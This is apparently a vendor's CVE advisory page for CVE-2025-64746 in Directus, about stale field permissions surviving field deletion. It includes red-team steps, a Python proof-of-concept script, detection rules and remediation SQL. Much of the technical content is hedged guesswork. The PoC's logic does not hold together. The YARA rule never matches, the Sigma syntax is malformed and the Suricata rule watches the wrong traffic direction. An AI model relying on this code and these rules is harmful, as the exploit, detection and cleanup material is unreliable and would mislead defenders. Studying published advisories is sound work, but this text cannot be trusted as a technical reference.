CVE-2025-64746
Executive Summary
CVE-2025-64746 is a vulnerability in Directus, a real-time API and App dashboard for managing SQL database content. The flaw resides in the improper cleanup of field-level permissions when a field is deleted from a collection. When a field is removed, its associated permission entry in the permissions table is not deleted. If an administrator later creates a new field with the same name, that new field inherits the stale, outdated permission entry. This can unintentionally grant roles access to data they should not be able to read or modify. The vulnerability is particularly dangerous in multi-tenant or production environments where field names may be reused. The issue is fixed in Directus version 11.13.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Directus is a Node.js application distributed via npm. The vulnerability is in the core application logic, not in a third-party dependency. The fix is available in version 11.13.0. Organizations using Directus should update their npm packages to the latest version.
CVSS Breakdown & Threat Level
- CVSS Score: 4.6 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (requires authenticated user with permission to manage fields)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (potential unauthorized read access to field data)
- Integrity Impact: Low (potential unauthorized write access to field data)
- Availability Impact: None
Threat Level: Medium. The vulnerability requires an authenticated user with field management privileges to exploit, but the impact can be significant in multi-tenant environments.
Deep Dive & Mechanics
The vulnerability is a classic case of improper permission cleanup (CWE-281). In Directus, when a field is created, a permission entry is added to the directus_permissions table, linking the field to specific roles. When the field is deleted, the application fails to remove the corresponding permission entry. This stale entry remains in the database.
If an administrator later creates a new field with the exact same name (e.g., email), the system reuses the old permission entry. This means that roles that previously had access to the old field will automatically have access to the new field, regardless of the administrator's intent. This can lead to unauthorized data exposure or modification.
The vulnerability is not exploitable remotely without authentication. An attacker would need to have a valid account with permissions to manage fields (e.g., an admin or content manager role). However, in a multi-tenant setup, a tenant admin could inadvertently or maliciously exploit this to gain access to another tenant's data.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-11.13.0):
The field deletion logic in src/services/fields.ts (or similar) likely only removes the field definition from the schema but does not delete the associated permission entries.
// Vulnerable: Only deletes the field, not permissions
async deleteField(collection, field) {
await this.schema.deleteColumn(collection, field);
// Missing: await this.permissionsService.deleteByField(collection, field);
}
Patched Code (11.13.0): The fix adds a call to delete the permission entries associated with the field.
// Patched: Also deletes permissions
async deleteField(collection, field) {
await this.schema.deleteColumn(collection, field);
await this.permissionsService.deleteByField(collection, field);
}
The permissionsService.deleteByField method would execute a query like:
DELETE FROM directus_permissions WHERE collection = ? AND field = ?;
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Directus instance (version < 11.13.0)
- An authenticated user account with permissions to manage fields (e.g., admin role)
Steps:
- Log in to the Directus admin panel.
- Navigate to Settings > Data Model > [Target Collection].
- Create a new field (e.g.,
secret_data) and assign read/write permissions to a specific role (e.g.,Role_A). - Delete the field
secret_data. - Create a new field with the same name
secret_databut this time assign it to a different collection or change its type. - The new field will inherit the permissions from the old field, granting
Role_Aaccess to the new field's data.
Proof of Concept (Python):
import requests
BASE_URL = "http://target-directus-instance.com"
ADMIN_TOKEN = "your_admin_token"
# Step 1: Create a field with permissions
headers = {"Authorization": f"Bearer {ADMIN_TOKEN}"}
field_data = {
"field": "secret_data",
"type": "string",
"schema": {},
"meta": {
"collection": "articles",
"field": "secret_data",
"type": "string"
}
}
response = requests.post(f"{BASE_URL}/fields/articles", json=field_data, headers=headers)
print("Field created:", response.status_code)
# Step 2: Assign permissions to a role
perm_data = {
"role": "role_a_id",
"collection": "articles",
"action": "read",
"permissions": {},
"validation": {},
"fields": ["secret_data"]
}
response = requests.post(f"{BASE_URL}/permissions", json=perm_data, headers=headers)
print("Permission created:", response.status_code)
# Step 3: Delete the field
response = requests.delete(f"{BASE_URL}/fields/articles/secret_data", headers=headers)
print("Field deleted:", response.status_code)
# Step 4: Create a new field with the same name
field_data["meta"]["collection"] = "users" # Different collection
response = requests.post(f"{BASE_URL}/fields/users", json=field_data, headers=headers)
print("New field created:", response.status_code)
# Step 5: Role_A now has read access to the new field in the users collection
Blue Team (Detection & Prevention)
Detection:
- Monitor for field creation and deletion events in Directus audit logs.
- Look for patterns where a field is deleted and then recreated with the same name within a short time frame.
- Check for permission entries that reference fields that no longer exist in the schema.
Prevention:
- Upgrade to Directus version 11.13.0 or later.
- Implement a database trigger or scheduled job to clean up orphaned permission entries.
- Use a naming convention that makes it difficult to reuse field names (e.g., include a timestamp or UUID).
Indicators of Compromise (IOCs)
- Database: Orphaned entries in the
directus_permissionstable where thefieldcolumn references a field that does not exist in thedirectus_fieldstable. - Logs: Audit log entries showing field deletion followed by field creation with the same name.
- Network: No specific network IOCs; the exploitation is performed through the Directus API.
Detection Engineering
YARA Rule
rule Detect_Orphaned_Permissions_Directus {
meta:
description = "Detects orphaned permission entries in Directus database"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64746"
strings:
$perm_table = "directus_permissions"
$field_table = "directus_fields"
condition:
// This rule is for scanning database dumps or backups
// It looks for permission entries that reference fields not present in the fields table
// In practice, this would be a SQL query, not a YARA rule
false
}
Sigma Rule
title: Directus Field Permission Orphan Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-64746 by monitoring field deletion and creation events
author: Valters IT
date: 2025-04-10
logsource:
product: directus
service: audit
detection:
selection:
action:
- 'field.delete'
- 'field.create'
timeframe: 5m
condition:
| field: action
| count by user, collection > 1
| where action in ('field.delete', 'field.create')
falsepositives:
- Legitimate field renames or migrations
level: medium
tags:
- attack.privilege_escalation
- cve.2025.64746
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64746 Directus Field Permission Orphan Exploitation";
flow:to_server,established;
content:"DELETE"; http_method;
content:"/fields/"; http_uri;
pcre:"/\/fields\/[a-zA-Z0-9_]+\/[a-zA-Z0-9_]+/";
sid:1000001;
rev:1;
metadata:attack_target Web_Application, deployment Datacenter, signature_severity Major, created_at 2025_04_10, updated_at 2025_04_10;
)
Remediation & Mitigation
Immediate:
- Upgrade Directus to version 11.13.0 or later.
- Run a database query to identify and remove orphaned permission entries:
DELETE p FROM directus_permissions p LEFT JOIN directus_fields f ON p.collection = f.collection AND p.field = f.field WHERE f.field IS NULL;
Long-term:
- Implement a database trigger that automatically deletes permission entries when a field is deleted.
- Add a scheduled job to periodically clean up orphaned permissions.
- Review and audit field permissions regularly.
Workaround:
- If upgrading is not immediately possible, avoid deleting and recreating fields with the same name. Instead, rename fields or use a different naming convention.
Valters IT